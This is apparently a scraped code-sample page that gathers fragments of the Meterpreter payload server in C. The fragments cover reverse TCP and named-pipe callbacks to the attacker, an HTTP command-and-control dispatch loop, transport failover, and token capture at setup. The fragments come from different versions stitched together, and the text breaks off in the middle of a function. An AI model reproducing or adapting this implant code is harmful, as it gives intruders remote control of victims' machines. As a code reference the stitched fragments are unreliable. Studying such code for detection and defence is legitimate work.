Beispiel #1
0
/*!
 * @brief Update the timeouts with the given values
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the request packet.
 * @returns Indication of success or failure.
 * @remark If no values are given, no updates are made. The response to
 *         this message is the new/current settings.
 */
DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet)
{
	DWORD result = ERROR_SUCCESS;
	Packet* response = NULL;

	do {
		response = packet_create_response(packet);
		if (!response) {
			result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
		int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
		DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL);
		DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT);

		// TODO: put this in a helper function that can be used everywhere?

		// if it's in the past, that's fine, but 0 implies not set
		if (expirationTimeout != 0) {
			dprintf("[DISPATCH TIMEOUT] setting expiration time to %d", expirationTimeout);
			remote->sess_expiry_time = expirationTimeout;
			remote->sess_expiry_end = current_unix_timestamp() + expirationTimeout;
		}

		if (commsTimeout != 0) {
			dprintf("[DISPATCH TIMEOUT] setting comms timeout to %d", commsTimeout);
			remote->transport->timeouts.comms = commsTimeout;
			remote->transport->comms_last_packet = current_unix_timestamp();
		}

		if (retryTotal > 0) {
			dprintf("[DISPATCH TIMEOUT] setting retry total to %u", retryTotal);
			remote->transport->timeouts.retry_total = retryTotal;
		}

		if (retryWait > 0) {
			dprintf("[DISPATCH TIMEOUT] setting retry wait to %u", retryWait);
			remote->transport->timeouts.retry_wait = retryWait;
		}

		// for the session expiry, return how many seconds are left before the session actually expires
		packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp());
		packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms);
		packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total);
		packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait);

	} while (0);

	if (response) {
		packet_transmit_response(result, remote, response);
	}

	return result;
}
/*!
 * @brief Connects to a provided host/port (IPv6), downloads a payload and executes it.
 * @param host String containing the name or IP of the host to connect to.
 * @param service The target service/port.
 * @param scopeId IPv6 scope ID.
 * @param retryTotal The number of seconds to continually retry for.
 * @param retryWait The number of seconds between each connect attempt.
 * @return Indication of success or failure.
 */
static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer)
{
	int start;
	DWORD result = ERROR_SUCCESS;
	SOCKET socketHandle;
	struct addrinfo hints = { 0 };

	*socketBuffer = 0;

	hints.ai_family = AF_INET6;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	struct addrinfo* addresses;
	if (getaddrinfo(host, service, &hints, &addresses) != 0)
	{
		return errno;
	}

	// prepare to connect to the attacker
	socketHandle = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);

	if (socketHandle == INVALID_SOCKET)
	{
		dprintf("[STAGELESS IPV6] failed to connect to attacker");
		return errno;
	}

	start = current_unix_timestamp();
	do
	{
		struct addrinfo* address = NULL;
		int retryStart = current_unix_timestamp();
		for (address = addresses; address != NULL; address = address->ai_next)
		{
			((struct sockaddr_in6*)address->ai_addr)->sin6_scope_id = scopeId;

			if (connect(socketHandle, address->ai_addr, (int)address->ai_addrlen) != SOCKET_ERROR)
			{
				dprintf("[STAGELESS IPV6] Socket successfully connected");
				*socketBuffer = socketHandle;
				freeaddrinfo(addresses);
				return ERROR_SUCCESS;
			}
		}

		dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait);
		sleep(retryWait);
	} while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal);

	closesocket(socketHandle);
	freeaddrinfo(addresses);

	return errno;
}
/*!
 * @brief Configure bind named pipe connnection.
 * @param pipe_name to create
 * @param timeouts
 * @return handle to connected pipe or INVALID_HANDLE_VALUE on error
 */
static HANDLE bind_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts)
{
	DWORD result = ERROR_SUCCESS;
	BOOL wasEnabled;
	HANDLE hPipe = INVALID_HANDLE_VALUE;
	DWORD toggleResult = toggle_privilege(SE_SECURITY_NAME, TRUE, &wasEnabled);
	if (toggleResult == ERROR_SUCCESS)
	{
		SECURITY_ATTRIBUTES sa = { 0 };
		create_pipe_security_attributes(&sa); // allow access anyone
		hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES,
								 STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, &sa);
		result = GetLastError();
		if (wasEnabled == FALSE)
		{
			toggle_privilege(SE_SECURITY_NAME, FALSE, &wasEnabled);
		}
	}

	if (hPipe == INVALID_HANDLE_VALUE)
	{
		// Fallback on a pipe with simpler security attributes
		hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES,
								 STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, NULL);
		result = GetLastError();
	}

	if (hPipe == INVALID_HANDLE_VALUE)
	{
		dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result);
		return INVALID_HANDLE_VALUE;
	}

	int start = current_unix_timestamp();
	do
	{
		if (ConnectNamedPipe(hPipe, NULL))
		{
			return hPipe;
		}

		result = GetLastError();
		if (result == ERROR_PIPE_CONNECTED)
		{
			return hPipe;
		}
		dprintf("[NP CONFIGURE] Failed to connect pipe: %u 0x%x", result, result);
		dprintf("[NP CONFIGURE] Trying again in %u s", 1);
		sleep(1);
	} while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total);

	CloseHandle(hPipe);
	return INVALID_HANDLE_VALUE;
}
/*!
 * @brief Creates a new TCP transport instance.
 * @param url URL containing the transport details.
 * @param timeouts The timeout values to use for this transport.
 * @return Pointer to the newly configured/created TCP transport instance.
 */
static Transport* transport_create_tcp(MetsrvTransportTcp* config) {
	Transport* transport = (Transport*)malloc(sizeof(Transport));
	TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext));

	dprintf("[TRANS TCP] Creating tcp transport for url %s", config->common.url);

	memset(transport, 0, sizeof(Transport));
	memset(ctx, 0, sizeof(TcpTransportContext));

	transport->type = METERPRETER_TRANSPORT_SSL;
	transport->timeouts.comms = config->common.comms_timeout;
	transport->timeouts.retry_total = config->common.retry_total;
	transport->timeouts.retry_wait = config->common.retry_wait;
	transport->url = strdup(config->common.url);
	transport->packet_transmit = packet_transmit_via_ssl;
	transport->transport_init = configure_tcp_connection;
	transport->transport_deinit = server_destroy_ssl;
	transport->transport_destroy = transport_destroy_tcp;
	transport->transport_reset = transport_reset_tcp;
	transport->server_dispatch = server_dispatch_tcp;
	transport->get_socket = transport_get_socket_tcp;
	transport->ctx = ctx;
	transport->comms_last_packet = current_unix_timestamp();

	return transport;
}
/*!
 * @brief Creates a new named pipe transport instance.
 * @param config The Named Pipe configuration block.
 * @param size Pointer to the size of the parsed config block.
 * @return Pointer to the newly configured/created Named Pipe transport instance.
 */
Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size)
{
	Transport* transport = (Transport*)calloc(1, sizeof(Transport));
	NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)calloc(1, sizeof(NamedPipeTransportContext));

	if (size)
	{
		*size = sizeof(MetsrvTransportNamedPipe);
	}

	// Lock used to synchronise writes
	ctx->write_lock = lock_create();

	dprintf("[TRANS NP] Creating pipe transport for url %S", config->common.url);

	transport->type = METERPRETER_TRANSPORT_PIPE;
	transport->timeouts.comms = config->common.comms_timeout;
	transport->timeouts.retry_total = config->common.retry_total;
	transport->timeouts.retry_wait = config->common.retry_wait;
	transport->url = _wcsdup(config->common.url);
	transport->packet_transmit = packet_transmit_named_pipe;
	transport->transport_init = configure_named_pipe_connection;
	transport->transport_destroy = transport_destroy_named_pipe;
	transport->transport_reset = transport_reset_named_pipe;
	transport->server_dispatch = server_dispatch_named_pipe;
	transport->get_handle = transport_get_handle_named_pipe;
	transport->set_handle = transport_set_handle_named_pipe;
	transport->ctx = ctx;
	transport->comms_last_packet = current_unix_timestamp();
	transport->get_migrate_context = get_migrate_context_named_pipe;
	transport->get_config_size = transport_get_config_size_named_pipe;

	return transport;
}
static void config_create(Remote* remote, MetsrvConfig** config, LPDWORD size) {
	// This function is really only used for migration purposes.
	DWORD s = sizeof(MetsrvSession);
	MetsrvSession* sess = (MetsrvSession*)malloc(s);
	memset(sess, 0, s);

	dprintf("[CONFIG] preparing the configuration");

	// start by preparing the session.
	memcpy(sess->uuid, remote->orig_config->session.uuid, UUID_SIZE);
	sess->expiry = remote->sess_expiry_end - current_unix_timestamp();

	// TOOD: figure what we should be doing for POSIX here.
	sess->exit_func = 0;

	Transport* current = remote->transport;
	Transport* t = remote->transport;
	do {
		// extend memory appropriately
		DWORD neededSize = t->type == METERPRETER_TRANSPORT_SSL ? sizeof(MetsrvTransportTcp) : sizeof(MetsrvTransportHttp);

		dprintf("[CONFIG] Allocating %u bytes for %s transport, total of %u bytes", neededSize, t->type == METERPRETER_TRANSPORT_SSL ? "ssl" : "http/s", s);

		sess = (MetsrvSession*)realloc(sess, s + neededSize);

		// load up the transport specifics
		LPBYTE target = (LPBYTE)sess + s;

		memset(target, 0, neededSize);
		s += neededSize;

		if (t->type == METERPRETER_TRANSPORT_SSL) {
			transport_write_tcp_config(t, (MetsrvTransportTcp*)target);
			dprintf("[CONFIG] TCP Comms Timeout: %d", ((MetsrvTransportTcp*)target)->common.comms_timeout);
			dprintf("[CONFIG] TCP Retry Total: %d", ((MetsrvTransportTcp*)target)->common.retry_total);
			dprintf("[CONFIG] TCP Retry Wait: %d", ((MetsrvTransportTcp*)target)->common.retry_wait);
			dprintf("[CONFIG] TCP URL: %s", ((MetsrvTransportTcp*)target)->common.url);

			// if the current transport is TCP, copy the socket fd over so that migration can use it.
			if (t == current) {
				sess->comms_fd = (DWORD)t->get_socket(t);
			}
		}

		t = t->next_transport;
	} while (t != current);

	// account for the last terminating NULL wchar so that the target knows the list has reached the end,
	// as well as the end of the extensions list. We may support wiring up existing extensions later on.
	DWORD terminatorSize = sizeof(wchar_t) + sizeof(DWORD);
	sess = (MetsrvSession*)realloc(sess, s + terminatorSize);
	memset((LPBYTE)sess + s, 0, terminatorSize);
	s += terminatorSize;

	// hand off the data
	dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess);
	*size = s;
	*config = (MetsrvConfig*)sess;
}
Beispiel #7
0
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
{
	DWORD result = ERROR_NOT_ENOUGH_MEMORY;
	Transport* transport = NULL;
	char* transportUrl = packet_get_tlv_value_string(packet, TLV_TYPE_TRANS_URL);

	TimeoutSettings timeouts = { 0 };

	int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
	timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
	timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL);
	timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT);

	// special case, will still leave this in here even if it's not transport related
	if (sessionExpiry != 0) {
		remote->sess_expiry_time = sessionExpiry;
		remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time;
	}

	if (timeouts.comms == 0) {
		timeouts.comms = remote->transport->timeouts.comms;
	}
	if (timeouts.retry_total == 0) {
		timeouts.retry_total = remote->transport->timeouts.retry_total;
	}
	if (timeouts.retry_wait == 0) {
		timeouts.retry_wait = remote->transport->timeouts.retry_wait;
	}

	dprintf("[CHANGE TRANS] Url: %s", transportUrl);
	dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms);
	dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total);
	dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait);

	do {
		if (transportUrl == NULL) {
			dprintf("[CHANGE TRANS] Something was NULL");
			break;
		}

		if (strncmp(transportUrl, "tcp", 3) == 0) {
			MetsrvTransportTcp config = { 0 };
			config.common.comms_timeout = timeouts.comms;
			config.common.retry_total = timeouts.retry_total;
			config.common.retry_wait = timeouts.retry_wait;
			memcpy(config.common.url, transportUrl, sizeof(config.common.url));
			transport = remote->trans_create(remote, &config.common, NULL);
		}

		// tell the server dispatch to exit, it should pick up the new transport
		result = ERROR_SUCCESS;
	} while (0);

	*transportBufer = transport;

	return result;
}
/*!
 * @brief Perform the reverse_tcp connect.
 * @param reverseSocket The existing socket that refers to the remote host connection, closed on failure.
 * @param sockAddr The SOCKADDR structure which contains details of the connection.
 * @param sockAddrSize The size of the \c sockAddr structure.
 * @param retryTotal The number of seconds to continually retry for.
 * @param retryWait The number of seconds between each connect attempt.
 * @return Indication of success or failure.
 */
static DWORD reverse_tcp_run(SOCKET reverseSocket, struct sockaddr* sockAddr, int sockAddrSize, DWORD retryTotal, DWORD retryWait)
{
	DWORD result = ERROR_SUCCESS;
	int start = current_unix_timestamp();
	do {
		int retryStart = current_unix_timestamp();
		if ((result = connect(reverseSocket, sockAddr, sockAddrSize)) != SOCKET_ERROR) {
			break;
		}

		dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait);
		sleep(retryWait * 1000);
	} while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal);

	if (result == SOCKET_ERROR) {
		closesocket(reverseSocket);
	}

	return result;
}
/*!
 * @brief Configure reverse named pipe connnection.
 * @param pipe_name to connect to
 * @param timeouts
 * @return handle to connected pipe or INVALID_HANDLE_VALUE on error
 */
static HANDLE reverse_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts)
{
	DWORD result = ERROR_SUCCESS;
	HANDLE hPipe = INVALID_HANDLE_VALUE;
	int start = current_unix_timestamp();
	do
	{
		dprintf("[NP CONFIGURE] pipe name is %S, attempting to create", pipe_name);
		hPipe = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
		if (hPipe != INVALID_HANDLE_VALUE)
		{
			break;
		}

		hPipe = INVALID_HANDLE_VALUE;
		result = GetLastError();
		dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result);
		dprintf("[NP CONFIGURE] Connection failed, sleeping for %u s", timeouts->retry_wait);
		sleep(timeouts->retry_wait);

	} while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total);
	return hPipe;
}
DWORD remote_request_core_transport_list(Remote* remote, Packet* packet)
{
	DWORD result = ERROR_SUCCESS;
	Packet* response = NULL;

	do
	{
		response = packet_create_response(packet);

		if (!response)
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Add the session timeout to the top level
		packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp());

		Transport* current = remote->transport;
		Transport* first = remote->transport;

		do
		{
			Packet* transportGroup = packet_create_group();

			if (!transportGroup)
			{
				// bomb out, returning what we have so far.
				break;
			}

			dprintf("[DISPATCH] Adding URL %S", current->url);
			packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url);
			dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms);
			packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms);
			dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total);
			packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total);
			dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait);
			packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait);

			if (current->type != METERPRETER_TRANSPORT_SSL)
			{
				HttpTransportContext* ctx = (HttpTransportContext*)current->ctx;
				dprintf("[DISPATCH] Transport is HTTP/S");
				if (ctx->ua)
				{
					packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua);
				}
				if (ctx->proxy)
				{
					packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy);
				}
				if (ctx->proxy_user)
				{
					packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user);
				}
				if (ctx->proxy_pass)
				{
					packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass);
				}
				if (ctx->cert_hash)
				{
					packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE);
				}
			}

			packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup);

			current = current->next_transport;
		} while (first != current);
	} while (0);

	if (response)
	{
		packet_transmit_response(result, remote, response);
	}

	return result;
}
/*!
 * @brief The servers main NP DISPATCH loop for incoming requests using SSL over named pipes.
 * @param remote Pointer to the remote endpoint for this server connection.
 * @param dispatchThread Pointer to the main NP DISPATCH thread.
 * @returns Indication of success or failure.
 */
static DWORD server_dispatch_named_pipe(Remote* remote, THREAD* dispatchThread)
{
	Transport* transport = remote->transport;
	BOOL running = TRUE;
	LONG result = ERROR_SUCCESS;
	Packet * packet = NULL;
	THREAD * cpt = NULL;

	dprintf("[NP DISPATCH] entering server_dispatch( 0x%08X )", remote);

	int lastPacket = current_unix_timestamp();
	while (running)
	{
		if (event_poll(dispatchThread->sigterm, 0))
		{
			dprintf("[NP DISPATCH] server dispatch thread signaled to terminate...");
			break;
		}

		result = server_pipe_poll(remote, 500);
		if (result == ERROR_SUCCESS)
		{
			result = packet_receive_named_pipe(remote, &packet);
			if (result != ERROR_SUCCESS)
			{
				dprintf("[NP DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
				break;
			}

			if (packet)
			{
				running = command_handle(remote, packet);
				dprintf("[NP DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
			}
			else
			{
				dprintf("[NP DISPATCH] Received NULL packet, could be metsrv being ignored");
			}

			// packet received, reset the timer
			lastPacket = current_unix_timestamp();
		}
		else if (result != ERROR_BROKEN_PIPE)
		{
			// check if the communication has timed out, or the session has expired, so we should terminate the session
			int now = current_unix_timestamp();
			if (now > remote->sess_expiry_end)
			{
				result = ERROR_SUCCESS;
				dprintf("[NP DISPATCH] session has ended");
				break;
			}
			else if ((now - lastPacket) > transport->timeouts.comms)
			{
				result = ERROR_NETWORK_NOT_AVAILABLE;
				dprintf("[NP DISPATCH] communications has timed out");
				break;
			}
		}
		else
		{
			dprintf("[NP DISPATCH] server_pipe_poll returned %d, exiting dispatcher...", result);
			break;
		}
	}

	dprintf("[NP DISPATCH] leaving server_dispatch.");

	return result;
}
Beispiel #12
0
/*
 * The servers main dispatch loop for incoming requests using SSL over TCP
 */
static DWORD server_dispatch_http_wininet( Remote * remote )
{
	LONG result     = ERROR_SUCCESS;
	Packet * packet = NULL;
	THREAD * cpt    = NULL;
	URL_COMPONENTS bits;
	DWORD ecount = 0;
	DWORD delay = 0;
	char tmpHostName[512];
	char tmpUrlPath[1024];

	if (global_expiration_timeout > 0) 
		remote->expiration_time  = current_unix_timestamp() + global_expiration_timeout;
	else
		remote->expiration_time = 0;
	
	remote->comm_timeout     = global_comm_timeout;
	remote->start_time       = current_unix_timestamp();
	remote->comm_last_packet = current_unix_timestamp();
	
	// Allocate the top-level handle
	if (!strcmp(global_meterpreter_proxy,"METERPRETER_PROXY")) {
		remote->hInternet = InternetOpen(global_meterpreter_ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	}
	else {
		remote->hInternet = InternetOpen(global_meterpreter_ua, INTERNET_OPEN_TYPE_PROXY, global_meterpreter_proxy, NULL, 0);
	}	if (!remote->hInternet) {
		dprintf("[DISPATCH] Failed InternetOpen: %d", GetLastError());
		return 0;
	}
	dprintf("[DISPATCH] Configured hInternet: 0x%.8x", remote->hInternet);

	
	// The InternetCrackUrl method was poorly designed...
	memset(tmpHostName, 0, sizeof(tmpHostName));
	memset(tmpUrlPath, 0, sizeof(tmpUrlPath));

	memset(&bits, 0, sizeof(bits));
	bits.dwStructSize = sizeof(bits);
	bits.dwHostNameLength  = sizeof(tmpHostName) -1;
	bits.lpszHostName      = tmpHostName;
	bits.dwUrlPathLength   = sizeof(tmpUrlPath) -1;
	bits.lpszUrlPath       = tmpUrlPath;

	InternetCrackUrl(remote->url, 0, 0, &bits);

	remote->uri = _strdup(tmpUrlPath);

	dprintf("[DISPATCH] Configured URL: %s", remote->uri);
	dprintf("[DISPATCH] Host: %s Port: %u", tmpHostName, bits.nPort);

	// Allocate the connection handle
	remote->hConnection = InternetConnect(remote->hInternet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	if (!remote->hConnection) {
		dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
		return 0;
	}
	dprintf("[DISPATCH] Configured hConnection: 0x%.8x", remote->hConnection);

	//authentication
	if (!(strcmp(global_meterpreter_proxy_username, "METERPRETER_USERNAME_PROXY") == 0))
	{
		InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_USERNAME, global_meterpreter_proxy_username, (DWORD)strlen(global_meterpreter_proxy_username)+1);
		InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_PASSWORD, global_meterpreter_proxy_password, (DWORD)strlen(global_meterpreter_proxy_password)+1);
		dprintf("[DISPATCH] Proxy authentication configured : %s/%s", global_meterpreter_proxy_username, global_meterpreter_proxy_password);
	}

	// Bring up the scheduler subsystem.
	result = scheduler_initialize( remote );
	if( result != ERROR_SUCCESS )
		return result;

	while( TRUE )
	{
		if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp()) {
			dprintf("[DISPATCH] Shutting down server due to communication timeout");
			break;
		}

		if (remote->expiration_time != 0 && remote->expiration_time < current_unix_timestamp()) {
			dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
			dprintf("Timestamp: %u  Expiration: %u", current_unix_timestamp(), remote->expiration_time);
			break;
		}

		if( event_poll( serverThread->sigterm, 0 ) )
		{
			dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." );
			break;
		}

		dprintf("[DISPATCH] Reading data from the remote side...");
		result = packet_receive( remote, &packet );
		if( result != ERROR_SUCCESS ) {

			// Update the timestamp for empty replies
			if (result == ERROR_EMPTY) 
				remote->comm_last_packet = current_unix_timestamp();

			if (ecount < 10)
				delay = 10 * ecount;
			else 
				delay = 100 * ecount;
			
			ecount++;

			dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
			Sleep( min(10000, delay) );
			continue;
		}

		remote->comm_last_packet = current_unix_timestamp();

		// Reset the empty count when we receive a packet
		ecount = 0;

		dprintf("[DISPATCH] Returned result: %d", result);

		cpt = thread_create( command_process_thread, remote, packet );
		if( cpt )
		{
			dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
			thread_run( cpt );
		}	
	}

	// Close WinInet handles
	InternetCloseHandle(remote->hConnection);
	InternetCloseHandle(remote->hInternet);

	dprintf( "[DISPATCH] calling scheduler_destroy..." );
	scheduler_destroy();

	dprintf( "[DISPATCH] calling command_join_threads..." );
	command_join_threads();

	dprintf( "[DISPATCH] leaving server_dispatch." );

	return result;
}
/*!
 * @brief Setup and run the server. This is called from Init via the loader.
 * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions.
 * @return Meterpreter exit code (ignored by the caller).
 */
DWORD server_setup(MetsrvConfig* config)
{
	THREAD* serverThread = NULL;
	Remote* remote = NULL;
	char stationName[256] = { 0 };
	char desktopName[256] = { 0 };
	DWORD res = 0;

	dprintf("[SERVER] Initializing from configuration: 0x%p", config);
	dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd);
	dprintf("[SESSION] Expiry: %u", config->session.expiry);

	dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
		config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3],
		config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7],
		config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11],
		config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]);

	// if hAppInstance is still == NULL it means that we havent been
	// reflectivly loaded so we must patch in the hAppInstance value
	// for use with loading server extensions later.
	InitAppInstance();

	srand((unsigned int)time(NULL));

	__try
	{
		do
		{
			dprintf("[SERVER] module loaded at 0x%08X", hAppInstance);

			// Open a THREAD item for the servers main thread, we use this to manage migration later.
			serverThread = thread_open();

			dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm);

			if (!(remote = remote_allocate()))
			{
				SetLastError(ERROR_NOT_ENOUGH_MEMORY);
				break;
			}

			setup_ssl_lib(&remote->ssl);

			remote->orig_config = config;
			remote->sess_expiry_time = config->session.expiry;
			remote->sess_start_time = current_unix_timestamp();
			remote->sess_expiry_end = remote->sess_start_time + config->session.expiry;

			dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end);

			DWORD transportSize = 0;
			if (!create_transports(remote, config->transports, &transportSize))
			{
				// not good, bail out!
				SetLastError(ERROR_BAD_ARGUMENTS);
				break;
			}

			// the first transport should match the transport that we initially connected on.
			// If it's TCP comms, we need to wire that up.
			if (remote->transport->type == METERPRETER_TRANSPORT_SSL && config->session.comms_fd)
			{
				((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd;
			}

			// Set up the transport creation function pointer
			remote->trans_create = create_transport;
			// Set up the transport removal function pointer
			remote->trans_remove = remove_transport;
			// and the config creation pointer
			remote->config_create = config_create;

			// Store our thread handle
			remote->server_thread = serverThread->handle;

			dprintf("[SERVER] Registering dispatch routines...");
			register_dispatch_routines();

			// this has to be done after dispatch routine are registered
			load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize));

			// Store our process token
			if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token))
			{
				OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token);
			}

			if (scheduler_initialize(remote) != ERROR_SUCCESS)
			{
				SetLastError(ERROR_BAD_ENVIRONMENT);
				break;
			}

			// Copy it to the thread token
			remote->thread_token = remote->server_token;

			// Save the initial session/station/desktop names...
			remote->orig_sess_id = server_sessionid();
			remote->curr_sess_id = remote->orig_sess_id;
			GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL);
			remote->orig_station_name = _strdup(stationName);
			remote->curr_station_name = _strdup(stationName);
			GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL);
			remote->orig_desktop_name = _strdup(desktopName);
			remote->curr_desktop_name = _strdup(desktopName);

			remote->sess_start_time = current_unix_timestamp();

			// loop through the transports, reconnecting each time.
			while (remote->transport)
			{
				if (remote->transport->transport_init)
				{
					dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport);
					// Each transport has its own set of retry settings and each should honour
					// them individually.
					if (!remote->transport->transport_init(remote->transport))
					{
						dprintf("[SERVER] transport initialisation failed, moving to the next transport");
						remote->transport = remote->transport->next_transport;

						// when we have a list of transports, we'll iterate to the next one.
						continue;
					}
				}

				dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
				DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread);

				dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult);
				if (remote->transport->transport_deinit)
				{
					dprintf("[DISPATCH] deinitialising transport");
					remote->transport->transport_deinit(remote->transport);
				}

				dprintf("[TRANS] resetting transport");
				if (remote->transport->transport_reset)
				{
					remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL);
				}

				// If the transport mechanism failed, then we should loop until we're able to connect back again.
				if (dispatchResult == ERROR_SUCCESS)
				{
					dprintf("[DISPATCH] Server requested shutdown of dispatch");
					// But if it was successful, and this is a valid exit, then we should clean up and leave.
					if (remote->next_transport == NULL)
					{
						dprintf("[DISPATCH] No next transport specified, leaving");
						// we weren't asked to switch transports, so we exit.
						break;
					}

					// we need to change transports to the one we've been given. We will assume, for now,
					// that the transport has been created using the appropriate functions and that it is
					// part of the transport list.
					dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport);
					remote->transport = remote->next_transport;
					remote->next_transport = NULL;

				}
				else
				{
					// move to the next one in the list
					dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport);
					remote->transport = remote->transport->next_transport;
				}

				// transport switching and failover both need to support the waiting functionality.
				if (remote->next_transport_wait > 0)
				{
					dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait);

